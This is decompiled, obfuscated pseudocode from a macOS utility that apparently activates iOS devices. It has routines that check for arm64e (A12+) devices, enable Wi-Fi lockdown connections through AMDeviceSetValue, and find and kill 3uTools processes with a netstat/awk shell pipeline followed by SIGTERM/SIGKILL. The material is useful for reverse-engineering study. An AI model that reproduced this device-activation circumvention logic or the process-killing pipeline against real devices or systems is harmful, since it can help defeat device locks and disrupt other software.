v8 = HikariFunctionWrapper_17459(v7, "objectAtIndex:");
objc_retainAutoreleasedReturnValue(v8);
v9 = +[NSFileManager defaultManager](&OBJC_CLASS___NSFileManager, "defaultManager");
objc_retainAutoreleasedReturnValue(v9);
*v110 = 1191870099;
break;
}
}
}
if ( v70 > -48291957 )
break;
if ( v70 > -78291219 )
{
if ( v70 == -78291218 )
{
*v110 = 684926262;
}
else if ( v70 == -66399167 )
{
*v110 = 672675291;
}
}
else if ( v70 == -177537090 )
{
*v110 = -535631872;
}
else if ( v70 == -146825369 )
{
v19 = HikariFunctionWrapper_17441(v59, "stringWithFormat:");
v50 = objc_retainAutoreleasedReturnValue(v19);
showErrMessage(v50);
v10 = 0;
v1 = 1301666915;
v11 = -146825369;
goto LABEL_357;
}
}
if ( v70 <= -2642647 )
break;
if ( v70 == -2642646 )
{
v100 = v99 == 0;
v12 = 1;
v1 = 627126595;
v13 = 1773000549;
LABEL_348:
if ( !v12 )
v1 = v13;
LABEL_359:
*v110 = v1;
}
else if ( v70 == 46942048 )
{
*v110 = -1994701443;
}
}
if ( v70 == -48291956 )
{
v10 = 0;
v1 = 1072956380;
v11 = -1337558832;
LABEL_357:
if ( v10 )
v1 = v11;
goto LABEL_359;
}
if ( v70 == -16618717 )
{
v0 = 0;
v1 = -1158119541;
v2 = 710709693;
goto LABEL_352;
}
}
while ( v70 != -37554120 );
return (unsigned int)v106;
}
// 10025B688: using guessed type __CFString stru_10025B688;
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
// 10027F420: using guessed type __CFString cfstr_HO;
// 10027F460: using guessed type __CFString stru_10027F460;
// 10027F4A0: using guessed type __CFString stru_10027F4A0;
// 10027F520: using guessed type __CFString stru_10027F520;
// 10027F5A0: using guessed type __CFString stru_10027F5A0;
// 10027F5E0: using guessed type __CFString stru_10027F5E0;
// 10029F590: using guessed type int dword_10029F590;
//----- (0000000100118E8B) ----------------------------------------------------
void __cdecl -[AppDelegate activate_device_hactivate:](AppDelegate *self, SEL a2, id a3)
{
char v3; // cf
int v4; // eax
int v5; // ecx
char v6; // cf
int v7; // ecx
bool v8; // zf
int v9; // ecx
unsigned __int8 v10; // al
id v11; // [rsp+0h] [rbp-50h]
const char *v12; // [rsp+8h] [rbp-48h]
int v13; // [rsp+10h] [rbp-40h]
int v14; // [rsp+14h] [rbp-3Ch] BYREF
bool v15; // [rsp+1Bh] [rbp-35h]
char v16; // [rsp+1Ch] [rbp-34h]
unsigned __int8 v17; // [rsp+1Dh] [rbp-33h]
bool v18; // [rsp+1Eh] [rbp-32h]
char v19; // [rsp+1Fh] [rbp-31h]
int *v20; // [rsp+20h] [rbp-30h]
v13 = dword_10029F594;
v14 = -1579028204;
v20 = &v14;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v14 <= -553083757 )
{
if ( v14 > -1712790492 )
{
if ( v14 <= -1545157771 )
{
if ( v14 <= -1579028205 )
{
if ( v14 == -1712790491 )
{
*v20 = -2051378061;
}
else if ( v14 == -1636455658 )
{
goto LABEL_75;
}
}
else
{
switch ( v14 )
{
case -1579028204:
v15 = v13 == 0;
*v20 = 1117722472;
break;
case -1577673263:
dword_10029F594 = 1;
objc_msgSend(armClass, "isEqual:", CFSTR("\x8D\\\b|\xCC\x37"));
*v20 = 27773354;
break;
case -1563019088:
v3 = 0;
v4 = -1208462226;
v5 = 645919273;
goto LABEL_91;
}
}
}
else if ( v14 > -1144919000 )
{
switch ( v14 )
{
case -1144918999:
*v20 = -1784948045;
break;
case -1140687328:
v3 = 0;
v4 = -416419890;
v5 = 733309700;
LABEL_91:
if ( !v3 )
v4 = v5;
goto LABEL_107;
case -1077062874:
showOkMessage(CFSTR("0\xC7\xE4k\ni\xFF/Is\t\xBB\xA3\x15OS\x8E\xFBfW4\xB8־\xD1\x10\x12*\xEB\xFD\xA1\x93\x01\x01\bA"));
*v20 = 2113923412;
break;
}
}
else
{
switch ( v14 )
{
case -1545157770:
v6 = 1;
v11 = AldazDevClass;
v12 = "activate_device_arm64e:";
v4 = -1545157770;
v7 = -1769658518;
LABEL_101:
if ( v6 )
v4 = v7;
goto LABEL_107;
case -1366479392:
v3 = 1;
v4 = 1728714524;
v5 = 1082160727;
goto LABEL_91;
case -1208462226:
HikariFunctionWrapper_17467(v11, v12);
*v20 = 645919273;
break;
}
}
}
else if ( v14 <= -1934289407 )
{
if ( v14 <= -2008487103 )
{
if ( v14 == -2134784793 )
{
*v20 = -1140687328;
}
else if ( v14 == -2051378061 )
{
v18 = v17 == 0;
*v20 = 1179340639;
}
}
else
{
switch ( v14 )
{
case -2008487102:
a0_2[14] = v19;
a0_2[15] = 83;
a0_2[16] = 117;
a0_2[17] = 112;
a0_2[18] = 112;
a0_2[19] = 111;
a0_2[20] = 114;
a0_2[21] = 116;
a0_2[22] = 32;
a0_2[23] = 65;
a0_2[24] = 49;
a0_2[25] = 50;
a0_2[26] = 43;
a0_2[27] = 32;
a0_2[28] = 97;
a0_2[29] = 114;
a0_2[30] = 109;
a0_2[31] = 54;
a0_2[32] = 52;
a0_2[33] = 101;
a0_2[34] = 33;
a0_2[35] = 0;
*v20 = -1761685809;
break;
case -1967666105:
*v20 = -1545157770;
break;
case -1941806683:
*v20 = 2107534803;
break;
}
}
}
else if ( v14 > -1784948046 )
{
switch ( v14 )
{
case -1784948045:
v8 = 0;
v4 = -1577673263;
v9 = 27773354;
LABEL_105:
if ( !v8 )
v4 = v9;
LABEL_107:
*v20 = v4;
break;
case -1769658518:
*v20 = -1563019088;
break;
case -1761685809:
a0_2[14] = v19;
a0_2[15] = 83;
a0_2[16] = 117;
a0_2[17] = 112;
a0_2[18] = 112;
a0_2[19] = 111;
a0_2[20] = 114;
a0_2[21] = 116;
a0_2[22] = 32;
a0_2[23] = 65;
a0_2[24] = 49;
a0_2[25] = 50;
a0_2[26] = 43;
a0_2[27] = 32;
a0_2[28] = 97;
a0_2[29] = 114;
a0_2[30] = 109;
v6 = 1;
a0_2[31] = 54;
a0_2[32] = 52;
a0_2[33] = 101;
a0_2[34] = 33;
a0_2[35] = 0;
v4 = -1761685809;
v7 = -1144918999;
goto LABEL_101;
}
}
else
{
switch ( v14 )
{
case -1934289406:
*v20 = -1827271704;
break;
case -1885911602:
asc_10027F65A[0] = 97;
asc_10027F65A[1] = 114;
asc_10027F65A[2] = 109;
asc_10027F65A[3] = 54;
asc_10027F65A[4] = 52;
asc_10027F65A[5] = 0;
qmemcpy(a0_2, "This Tool ", 10);
*v20 = 639381483;
break;
case -1827271704:
v3 = 0;
v4 = -1712790491;
v5 = -2051378061;
goto LABEL_91;
}
}
}
if ( v14 <= 1117722471 )
break;
if ( v14 <= 1681737059 )
{
if ( v14 <= 1237943222 )
{
if ( v14 == 1117722472 )
{
v8 = !v15;
v4 = -1784948045;
v9 = 1681737060;
goto LABEL_105;
}
if ( v14 == 1179340639 )
*v20 = 1657875162;
}
else
{
switch ( v14 )
{
case 1237943223:
v4 = -503228349;
goto LABEL_107;
case 1279014823:
v4 = -1545157770;
goto LABEL_107;
case 1657875162:
v3 = 0;
v4 = 2102761087;
v5 = 1237943223;
goto LABEL_91;
}
}
}
else if ( v14 > 2102761086 )
{
switch ( v14 )
{
case 2102761087:
*v20 = 1237943223;
break;
case 2107534803:
a0_2[10] = v16 - 2 * (v16 & 0xA) - 118;
a0_2[11] = 110;
a0_2[12] = 108;
a0_2[13] = 121;
v19 = 32;
*v20 = 43552344;
break;
case 2113923412:
v3 = 1;
v4 = -553083756;
v5 = 300813616;
goto LABEL_91;
}
}
else
{
switch ( v14 )
{
case 1681737060:
v3 = 0;
v4 = -1885911602;
v5 = 639381483;
goto LABEL_91;
case 1728714524:
v3 = 0;
v4 = 1082160727;
v5 = 704304072;
goto LABEL_91;
case 1919553259:
LABEL_75:
*v20 = -1366479392;
break;
}
}
}
if ( v14 > 300813615 )
break;
if ( v14 <= -416419891 )
{
if ( v14 == -553083756 )
{
v6 = 0;
v4 = -1636455658;
v7 = 300813616;
goto LABEL_101;
}
if ( v14 == -503228349 )
{
v8 = !v18;
v4 = -1077062874;
v9 = 1279014823;
goto LABEL_105;
}
}
else
{
switch ( v14 )
{
case -416419890:
*v20 = 733309700;
break;
case 27773354:
dword_10029F594 = 1;
v10 = (unsigned __int8)HikariFunctionWrapper_17465(armClass, "isEqual:");
v6 = 0;
v17 = v10;
v4 = -1934289406;
v7 = 27773354;
goto LABEL_101;
case 43552344:
v3 = 0;
v4 = -2008487102;
v5 = -1761685809;
goto LABEL_91;
}
}
}
if ( v14 > 704304071 )
break;
switch ( v14 )
{
case 300813616:
*v20 = -553083756;
break;
case 639381483:
asc_10027F65A[0] = 97;
asc_10027F65A[1] = 114;
asc_10027F65A[2] = 109;
asc_10027F65A[3] = 54;
asc_10027F65A[4] = 52;
asc_10027F65A[5] = 0;
qmemcpy(a0_2, "This Tool ", 10);
v6 = 1;
v16 = -59;
v4 = 639381483;
v7 = -1941806683;
goto LABEL_101;
case 645919273:
objc_msgSend(v11, v12, 0);
v4 = -2134784793;
goto LABEL_107;
}
}
if ( v14 == 733309700 )
{
v6 = 1;
v4 = -416419890;
v7 = 1919553259;
goto LABEL_101;
}
if ( v14 != 1082160727 )
break;
*v20 = 1728714524;
}
}
while ( v14 != 704304072 );
}
// 100118FD9: variable 'v11' is possibly undefined
// 100118FD9: variable 'v12' is possibly undefined
// 10027F680: using guessed type __CFString cfstr_0_2_0;
// 10027F6C0: using guessed type __CFString stru_10027F6C0;
// 10029F594: using guessed type int dword_10029F594;
//----- (0000000100119E0E) ----------------------------------------------------
__int64 __fastcall SendEnableWifiConnections(__int64 a1)
{
__int64 result; // rax
int v2; // eax
bool v3; // zf
int v4; // ecx
char v5; // cf
int v6; // ecx
char v7; // cf
int v8; // ecx
const void *v9; // rax
__int64 v10; // [rsp+8h] [rbp-58h]
int v11; // [rsp+14h] [rbp-4Ch]
int v12; // [rsp+18h] [rbp-48h]
int v13; // [rsp+1Ch] [rbp-44h] BYREF
CFTypeRef v14; // [rsp+20h] [rbp-40h]
bool v15; // [rsp+2Ah] [rbp-36h]
bool v16; // [rsp+2Bh] [rbp-35h]
bool v17; // [rsp+2Ch] [rbp-34h]
char IsPaired; // [rsp+2Dh] [rbp-33h]
bool v19; // [rsp+2Eh] [rbp-32h]
char v20; // [rsp+2Fh] [rbp-31h]
int *v21; // [rsp+30h] [rbp-30h]
v13 = -458843621;
v21 = &v13;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v13;
if ( v13 > 28843986 )
break;
if ( v13 > -917631405 )
{
if ( v13 > -514780902 )
{
if ( v13 <= -155288301 )
{
if ( v13 <= -428314752 )
{
if ( v13 == -514780901 )
{
*v21 = 2144200449;
}
else if ( v13 == -458843621 )
{
v5 = 0;
v2 = -968083155;
v6 = -58536024;
goto LABEL_199;
}
}
else
{
switch ( v13 )
{
case -428314751:
goto LABEL_153;
case -324107845:
AMDeviceSetValue(
a1,
CFSTR("F\xD2\x6Fy\xFD7\x9D\x1B<\x18\x15c\xBE\x9E'\x01!2a\xAA\xEE\x2B\x8Bx\xB7\x87\xB9\x01Ov\xB4\a\xC0\xD9}"),
CFSTR("<\xA9\x80?ڦް\x11_\xC7\x0C\xF8\xF5\x26\x12\xB8,\x1D1:\xB4"),
v10);
*v21 = -46386974;
break;
case -222532004:
LABEL_81:
*v21 = -787700381;
break;
}
}
}
else if ( v13 > -58536025 )
{
switch ( v13 )
{
case -58536024:
*v21 = -968083155;
break;
case -46386974:
v9 = (const void *)AMDeviceSetValue(
a1,
CFSTR("F\xD2\x6Fy\xFD7\x9D\x1B<\x18\x15c\xBE\x9E'\x01!2a\xAA\xEE\x2B\x8Bx\xB7\x87\xB9\x01Ov\xB4\a\xC0\xD9}"),
CFSTR("<\xA9\x80?ڦް\x11_\xC7\x0C\xF8\xF5\x26\x12\xB8,\x1D1:\xB4"),
v10);
v19 = v9 == 0;
v14 = v9;
v2 = -2000166417;
goto LABEL_211;
case -44735945:
AMDevicePair(a1);
*v21 = -690488067;
break;
}
}
else
{
switch ( v13 )
{
case -155288300:
goto LABEL_81;
case -123948245:
v7 = 1;
v2 = 636229295;
LABEL_186:
v8 = -1896848451;
goto LABEL_204;
case -119131791:
*v21 = -1924785258;
break;
}
}
}
else if ( v13 <= -690488068 )
{
if ( v13 <= -844883383 )
{
if ( v13 == -917631404 )
{
*v21 = -1443372683;
}
else if ( v13 == -905394775 )
{
AMDeviceValidatePairing(a1);
AMDeviceStartSession(a1);
*v21 = -804748043;
}
}
else
{
switch ( v13 )
{
case -844883382:
*v21 = 617952277;
break;
case -804748043:
v10 = -1;
*v21 = 80941746;
break;
case -787700381:
v16 = a1 == 0;
*v21 = 950907906;
break;
}
}
}
else if ( v13 > -609193591 )
{
switch ( v13 )
{
case -609193590:
NSLog(CFSTR("R\x8D\x1F赊\x7F\xF1\x70\x1A\x6C\xCF\x6B\xA7\x1A<'~,K\x9C\x92^K\x8FX<6 "));
*v21 = 1007845542;
break;
case -600826748:
*v21 = -530483969;
break;
case -530483969:
v5 = 1;
v2 = 248949422;
v6 = 1468860275;
goto LABEL_199;
}
}
else
{
switch ( v13 )
{
case -690488067:
AMDevicePair(a1);
v3 = 0;
v2 = -690488067;
v4 = -600826748;
goto LABEL_209;
case -638972931:
v3 = 0;
v2 = -1577091000;
v4 = 181092692;
goto LABEL_209;
case -617572946:
v17 = v12 == 0;
v3 = 0;
v2 = -617572946;
v4 = 2118640568;
goto LABEL_209;
}
}
}
else if ( v13 > -1443372684 )
{
if ( v13 <= -1294462710 )
{
if ( v13 <= -1349669402 )
{
if ( v13 == -1443372683 )
{
v5 = 0;
v2 = 1052437802;
v6 = -1443372683;
goto LABEL_199;
}
if ( v13 == -1430753325 )
{
dword_10029F598 = 1;
*v21 = 1830624435;
}
}
else
{
switch ( v13 )
{
case -1349669401:
AMDeviceDisconnect(a1);
*v21 = -1052846038;
break;
case -1341840580:
*v21 = -155288300;
break;
case -1325513533:
*v21 = 911595964;
break;
}
}
}
else if ( v13 > -1144280222 )
{
switch ( v13 )
{
case -1144280221:
v12 = AMDeviceConnect(a1);
*v21 = 1043052000;
break;
case -1052846038:
HikariFunctionWrapper_17469(a1);
v7 = 0;
v2 = -1349669401;
v8 = 1155049575;
goto LABEL_204;
case -968083155:
v7 = 0;
v11 = dword_10029F598;
v2 = -968083155;
v8 = 37265651;
goto LABEL_204;
}
}
else
{
switch ( v13 )
{
case -1294462709:
aR_14[1] = ~((v20 | 0x99) & (~v20 | 0x66));
aR_14[2] = 82;
aR_14[3] = 82;
aR_14[4] = 93;
aR_14[5] = 32;
aR_14[6] = 65;
aR_14[7] = 77;
aR_14[8] = 68;
aR_14[9] = 101;
aR_14[10] = 118;
aR_14[11] = 105;
aR_14[12] = 99;
aR_14[13] = 101;
aR_14[14] = 83;
aR_14[15] = 101;
aR_14[16] = 116;
aR_14[17] = 86;
aR_14[18] = 97;
aR_14[19] = 108;
aR_14[20] = 117;
aR_14[21] = 101;
aR_14[22] = 32;
aR_14[23] = 102;
aR_14[24] = 97;
aR_14[25] = 105;
aR_14[26] = 108;
aR_14[27] = 101;
aR_14[28] = 100;
aR_14[29] = 0;
asc_10027F6E8[0] = 91;
asc_10027F6E8[1] = 79;
asc_10027F6E8[2] = 75;
asc_10027F6E8[3] = 93;
asc_10027F6E8[4] = 32;
asc_10027F6E8[5] = 37;
asc_10027F6E8[6] = 64;
asc_10027F6E8[7] = 0;
v2 = 2031952166;
goto LABEL_211;
case -1238883776:
AMDeviceStopSession(a1);
*v21 = 1184447852;
break;
case -1181883181:
CFRelease(v14);
*v21 = -638972931;
break;
}
}
}
else if ( v13 <= -1758477981 )
{
if ( v13 <= -1923230650 )
{
if ( v13 == -2000166417 )
{
v3 = !v19;
v2 = 710826432;
v4 = -609193590;
goto LABEL_209;
}
if ( v13 == -1924785258 )
{
v5 = 1;
v2 = 1719505839;
v6 = 2049525430;
goto LABEL_199;
}
}
else
{
switch ( v13 )
{
case -1923230649:
v2 = -1443372683;
goto LABEL_211;
case -1896848451:
*v21 = -123948245;
break;
case -1875282160:
*v21 = -617572946;
break;
}
}
}
else if ( v13 > -1636984038 )
{
switch ( v13 )
{
case -1636984037:
v3 = IsPaired == 0;
v2 = 686633300;
v4 = -905394775;
goto LABEL_209;
case -1609847645:
*v21 = -905394775;
break;
case -1577091000:
*v21 = 181092692;
break;
}
}
else
{
switch ( v13 )
{
case -1758477980:
v5 = 0;
v2 = 911595964;
v6 = -1325513533;
goto LABEL_199;
case -1740856151:
v3 = 0;
v2 = 308880960;
v4 = -1636984037;
goto LABEL_209;
case -1724936636:
*v21 = 1133328085;
break;
}
}
}
if ( v13 <= 1043051999 )
break;
if ( v13 > 1644687683 )
{
if ( v13 <= 2010711215 )
{
if ( v13 <= 1719505838 )
{
if ( v13 == 1644687684 )
{
NSLog(CFSTR("&\rf\x8E'!\xA6#"), v14);
*v21 = 1284753393;
}
else if ( v13 == 1688896063 )
{
v3 = 0;
v2 = -1430753325;
v4 = 1830624435;
goto LABEL_209;
}
}
else
{
switch ( v13 )
{
case 1719505839:
asc_10027F7A0[29] = 107;
asc_10027F7A0[30] = 100;
asc_10027F7A0[31] = 111;
asc_10027F7A0[32] = 119;
asc_10027F7A0[33] = 110;
asc_10027F7A0[34] = 0;
strcpy(asc_10027F750, "EnableWifiConnections");
aR_14[0] = 91;
*v21 = 2049525430;
break;
case 1830624435:
v5 = 0;
dword_10029F598 = 1;
v2 = -1341840580;
v6 = 1830624435;
goto LABEL_199;
case 1878886600:
v5 = 1;
v2 = 308880960;
v6 = -1740856151;
goto LABEL_199;
}
}
}
else if ( v13 > 2082926779 )
{
switch ( v13 )
{
case 2082926780:
*v21 = -1181883181;
break;
case 2118640568:
*v21 = -1758477980;
break;
case 2144200449:
v15 = v11 == 0;
v7 = 0;
v2 = -514780901;
v8 = -1724936636;
goto LABEL_204;
}
}
else
{
switch ( v13 )
{
case 2010711216:
aR_14[1] = v20 ^ 0x66;
aR_14[2] = 82;
aR_14[3] = 82;
aR_14[4] = 93;
aR_14[5] = 32;
aR_14[6] = 65;
aR_14[7] = 77;
aR_14[8] = 68;
aR_14[9] = 101;
aR_14[10] = 118;
aR_14[11] = 105;
aR_14[12] = 99;
aR_14[13] = 101;
aR_14[14] = 83;
aR_14[15] = 101;
aR_14[16] = 116;
aR_14[17] = 86;
aR_14[18] = 97;
aR_14[19] = 108;
aR_14[20] = 117;
aR_14[21] = 101;
aR_14[22] = 32;
aR_14[23] = 102;
aR_14[24] = 97;
aR_14[25] = 105;
aR_14[26] = 108;
aR_14[27] = 101;
aR_14[28] = 100;
aR_14[29] = 0;
asc_10027F6E8[0] = 91;
asc_10027F6E8[1] = 79;
asc_10027F6E8[2] = 75;
asc_10027F6E8[3] = 93;
asc_10027F6E8[4] = 32;
asc_10027F6E8[5] = 37;
asc_10027F6E8[6] = 64;
asc_10027F6E8[7] = 0;
*v21 = -1294462709;
break;
case 2031952166:
*v21 = 1688896063;
break;
case 2049525430:
asc_10027F7A0[29] = 107;
asc_10027F7A0[30] = 100;
asc_10027F7A0[31] = 111;
asc_10027F7A0[32] = 119;
asc_10027F7A0[33] = 110;
asc_10027F7A0[34] = 0;
strcpy(asc_10027F750, "EnableWifiConnections");
v5 = 1;
aR_14[0] = 91;
v20 = 35;
v2 = 1719505839;
v6 = 1414362488;
goto LABEL_199;
}
}
}
else if ( v13 <= 1238573824 )
{
if ( v13 <= 1133328084 )
{
if ( v13 == 1043052000 )
{
v5 = 1;
v2 = -1875282160;
v6 = -617572946;
goto LABEL_199;
}
if ( v13 == 1052437802 )
*v21 = 176191675;
}
else
{
switch ( v13 )
{
case 1133328085:
v5 = 1;
v2 = -844883382;
v6 = 617952277;
LABEL_199:
if ( v5 )
v2 = v6;
goto LABEL_211;
case 1155049575:
*v21 = -1923230649;
break;
case 1184447852:
AMDeviceStopSession(a1);
v5 = 1;
v2 = 1184447852;
v6 = 667511437;
goto LABEL_199;
}
}
}
else if ( v13 > 1414362487 )
{
switch ( v13 )
{
case 1414362488:
*v21 = 1029178544;
break;
case 1446100950:
v5 = 0;
v2 = 1184447852;
v6 = -1238883776;
goto LABEL_199;
case 1468860275:
v3 = 0;
v2 = 248949422;
v4 = -1609847645;
goto LABEL_209;
}
}
else
{
switch ( v13 )
{
case 1238573825:
v3 = !v15;
v2 = 1688896063;
v4 = 176091490;
LABEL_209:
if ( !v3 )
v2 = v4;
goto LABEL_211;
case 1276834766:
v3 = 0;
v2 = -514780901;
v4 = 2144200449;
goto LABEL_209;
case 1284753393:
NSLog(CFSTR("&\rf\x8E'!\xA6#"), v14);
v2 = 2082926780;
goto LABEL_211;
}
}
}
if ( v13 <= 408345820 )
break;
if ( v13 <= 710826431 )
{
if ( v13 <= 636229294 )
{
if ( v13 == 408345821 )
{
IsPaired = AMDeviceIsPaired(a1);
*v21 = 1878886600;
}
else if ( v13 == 617952277 )
{
v5 = 1;
v2 = -844883382;
v6 = 1238573825;
goto LABEL_199;
}
}
else
{
switch ( v13 )
{
case 636229295:
LABEL_153:
*v21 = 1446100950;
break;
case 667511437:
*v21 = 76746962;
break;
case 686633300:
v5 = 0;
v2 = -690488067;
v6 = -44735945;
goto LABEL_199;
}
}
}
else if ( v13 > 950907905 )
{
switch ( v13 )
{
case 950907906:
*v21 = 920751179;
break;
case 1007845542:
v7 = 1;
v2 = -123948245;
goto LABEL_186;
case 1029178544:
v3 = 0;
v2 = 2010711216;
v4 = -1294462709;
goto LABEL_209;
}
}
else
{
switch ( v13 )
{
case 710826432:
v7 = 0;
v2 = 1644687684;
v8 = 1284753393;
LABEL_204:
if ( !v7 )
v2 = v8;
LABEL_211:
*v21 = v2;
break;
case 911595964:
v3 = 0;
v2 = 911595964;
v4 = 277381843;
goto LABEL_209;
case 920751179:
v3 = !v16;
v2 = -1144280221;
v4 = 176191675;
goto LABEL_209;
}
}
}
if ( v13 > 176091489 )
break;
if ( v13 <= 76746961 )
{
if ( v13 == 28843987 )
{
qmemcpy(asc_10027F7A0, "com.apple.mobile.wireless_loc", 29);
v5 = 1;
v2 = 28843987;
v6 = -119131791;
goto LABEL_199;
}
if ( v13 == 37265651 )
*v21 = 1276834766;
}
else
{
switch ( v13 )
{
case 76746962:
v7 = 0;
v2 = -1349669401;
v8 = -1052846038;
goto LABEL_204;
case 80941746:
v5 = 0;
v2 = -46386974;
v6 = -324107845;
goto LABEL_199;
case 127753494:
qmemcpy(asc_10027F7A0, "com.apple.mobile.wireless_loc", 29);
goto LABEL_152;
}
}
}
if ( v13 <= 248949421 )
break;
switch ( v13 )
{
case 248949422:
*v21 = 1468860275;
break;
case 277381843:
v3 = !v17;
v2 = 176191675;
v4 = 408345821;
goto LABEL_209;
case 308880960:
*v21 = -1740856151;
break;
}
}
if ( v13 != 176091490 )
break;
LABEL_152:
*v21 = 28843987;
}
if ( v13 == 181092692 )
{
v7 = 1;
v2 = -428314751;
v8 = -1577091000;
goto LABEL_204;
}
}
while ( v13 != 176191675 );
return result;
}
// 10011A00F: variable 'v12' is possibly undefined
// 10011AA9A: variable 'v11' is possibly undefined
// 10011B093: variable 'v10' is possibly undefined
// 100256156: using guessed type __int64 __fastcall AMDeviceConnect(_QWORD);
// 10025616E: using guessed type __int64 __fastcall AMDeviceDisconnect(_QWORD);
// 100256174: using guessed type __int64 __fastcall AMDeviceIsPaired(_QWORD);
// 100256180: using guessed type __int64 __fastcall AMDevicePair(_QWORD);
// 10025618C: using guessed type __int64 __fastcall AMDeviceSetValue(_QWORD, _QWORD, _QWORD, _QWORD);
// 100256198: using guessed type __int64 __fastcall AMDeviceStartSession(_QWORD);
// 10025619E: using guessed type __int64 __fastcall AMDeviceStopSession(_QWORD);
// 1002561A4: using guessed type __int64 __fastcall AMDeviceValidatePairing(_QWORD);
// 10027F870: using guessed type __CFString stru_10027F870;
// 10027F8B0: using guessed type __CFString stru_10027F8B0;
// 10029F598: using guessed type int dword_10029F598;
//----- (000000010011BE59) ----------------------------------------------------
#error "10011BE59: too big function (funcsize=0)"
//----- (0000000100143F63) ----------------------------------------------------
__int64 Close3uTools()
{
__int64 *v0; // rbx
void *v1; // rax
id v2; // rax
id v3; // r13
id v4; // rax
id v5; // r15
NSPipe *v6; // rax
NSPipe *v7; // r15
id v8; // rax
id v9; // rbx
id v10; // rax
__int64 *v11; // r13
id v12; // r14
id v13; // rax
id v14; // r14
NSCharacterSet *v15; // rax
NSCharacterSet *v16; // rbx
id v17; // rax
id v18; // r14
id v19; // rax
id v20; // rsi
__int64 v21; // rdi
__int64 v22; // rcx
void *v23; // r15
id v24; // rax
const char *v25; // rbx
id v26; // rax
id v27; // r12
id v28; // rax
id v29; // rax
id v30; // r14
id v31; // rax
id v32; // r15
id v33; // rax
id v34; // rax
id v35; // r12
const char *v36; // r14
pid_t v37; // eax
unsigned int v38; // r12d
int *v39; // rax
unsigned int v40; // r14d
id v41; // r13
__int64 v43; // [rsp+0h] [rbp-D0h] BYREF
__int64 v44; // [rsp+8h] [rbp-C8h]
id v45; // [rsp+10h] [rbp-C0h]
SEL v46; // [rsp+18h] [rbp-B8h]
id v47; // [rsp+20h] [rbp-B0h]
__int64 v48; // [rsp+28h] [rbp-A8h]
SEL v49; // [rsp+30h] [rbp-A0h]
SEL v50; // [rsp+38h] [rbp-98h]
SEL v51; // [rsp+40h] [rbp-90h]
void *context; // [rsp+48h] [rbp-88h]
SEL v53; // [rsp+50h] [rbp-80h]
id v54; // [rsp+58h] [rbp-78h]
id v55; // [rsp+60h] [rbp-70h]
id v56; // [rsp+68h] [rbp-68h]
__int64 *v57; // [rsp+70h] [rbp-60h]
void *v58; // [rsp+78h] [rbp-58h]
SEL v59; // [rsp+80h] [rbp-50h]
__int64 *v60; // [rsp+88h] [rbp-48h]
id v61; // [rsp+90h] [rbp-40h]
id v62; // [rsp+98h] [rbp-38h]
__int64 v63; // [rsp+A0h] [rbp-30h]
v63 = -1;
if ( !dword_10029F5A0 )
{
asc_100279FD3[0] = 45;
asc_100279FD3[1] = 99;
asc_100279FD3[2] = 0;
aG_19[0] = 91;
aG_19[1] = 67;
aG_19[2] = 108;
aG_19[3] = 111;
aG_19[4] = 115;
aG_19[5] = 101;
aG_19[6] = 51;
aG_19[7] = 117;
aG_19[8] = 84;
aG_19[9] = 111;
aG_19[10] = 111;
aG_19[11] = 108;
aG_19[12] = 115;
aG_19[13] = 93;
aG_19[14] = 32;
aG_19[15] = 80;
aG_19[16] = 73;
aG_19[17] = 68;
aG_19[18] = 32;
aG_19[19] = 37;
aG_19[20] = 100;
aG_19[21] = 32;
aG_19[22] = 102;
aG_19[23] = 105;
aG_19[24] = 110;
aG_19[25] = 97;
aG_19[26] = 108;
aG_19[27] = 105;
aG_19[28] = 122;
aG_19[29] = 243;
aG_19[30] = 32;
aG_19[31] = 100;
aG_19[32] = 101;
aG_19[33] = 115;
aG_19[34] = 112;
aG_19[35] = 117;
aG_19[36] = 233;
aG_19[37] = 115;
aG_19[38] = 32;
aG_19[39] = 100;
aG_19[40] = 101;
aG_19[41] = 32;
aG_19[42] = 83;
aG_19[43] = 73;
aG_19[44] = 71;
aG_19[45] = 84;
aG_19[46] = 69;
aG_19[47] = 82;
aG_19[48] = 77;
aG_19[49] = 46;
aG_19[50] = 0;
asc_100279FE4[0] = 47;
asc_100279FE4[1] = 98;
asc_100279FE4[2] = 105;
asc_100279FE4[3] = 110;
asc_100279FE4[4] = 47;
asc_100279FE4[5] = 115;
asc_100279FE4[6] = 104;
asc_100279FE4[7] = 0;
strcpy(
asc_100281FB0,
" /usr/sbin/netstat -anv | awk -v u=$(ps -axo pid,comm | awk '$2==\"usbmuxd\" {print $1}') ' $2==\"stream\" && $NF="
"=\"/var/run/usbmuxd\" {m[$1]=$13} $2==\"stream\" && $6 in m && $13!=u {print $13}' | sort -nu | xargs -n1 -I{} ps"
" -p {} -o pid,comm=");
aO_13[0] = 91;
aO_13[1] = 67;
aO_13[2] = 108;
aO_13[3] = 111;
aO_13[4] = 115;
aO_13[5] = 101;
aO_13[6] = 51;
aO_13[7] = 117;
aO_13[8] = 84;
aO_13[9] = 111;
aO_13[10] = 111;
aO_13[11] = 108;
aO_13[12] = 115;
aO_13[13] = 93;
aO_13[14] = 32;
aO_13[15] = 70;
aO_13[16] = 97;
aO_13[17] = 108;
aO_13[18] = 108;
aO_13[19] = 243;
aO_13[20] = 32;
aO_13[21] = 83;
aO_13[22] = 73;
aO_13[23] = 71;
aO_13[24] = 75;
aO_13[25] = 73;
aO_13[26] = 76;
aO_13[27] = 76;
aO_13[28] = 32;
aO_13[29] = 97;
aO_13[30] = 32;
aO_13[31] = 80;
aO_13[32] = 73;
aO_13[33] = 68;
aO_13[34] = 32;
aO_13[35] = 37;
aO_13[36] = 100;
aO_13[37] = 32;
aO_13[38] = 40;
aO_13[39] = 101;
aO_13[40] = 114;
aO_13[41] = 114;
aO_13[42] = 110;
aO_13[43] = 111;
aO_13[44] = 61;
aO_13[45] = 37;
aO_13[46] = 100;
aO_13[47] = 41;
aO_13[48] = 46;
aO_13[49] = 0;
strcpy(asc_100281D50, "[Close3uTools] No se pudo decodificar salida.");
strcpy(asc_100281E90, "[Close3uTools] Sin salida del comando.");
aBN[0] = 51;
aBN[1] = 117;
aBN[2] = 84;
aBN[3] = 111;
aBN[4] = 111;
aBN[5] = 108;
aBN[6] = 115;
aBN[7] = 0;
strcpy(asc_100281CD0, "[Close3uTools] Enviada SIGTERM a PID %d (3uTools).");
strcpy(asc_100281B60, "[Close3uTools] Enviada SIGKILL a PID %d.");
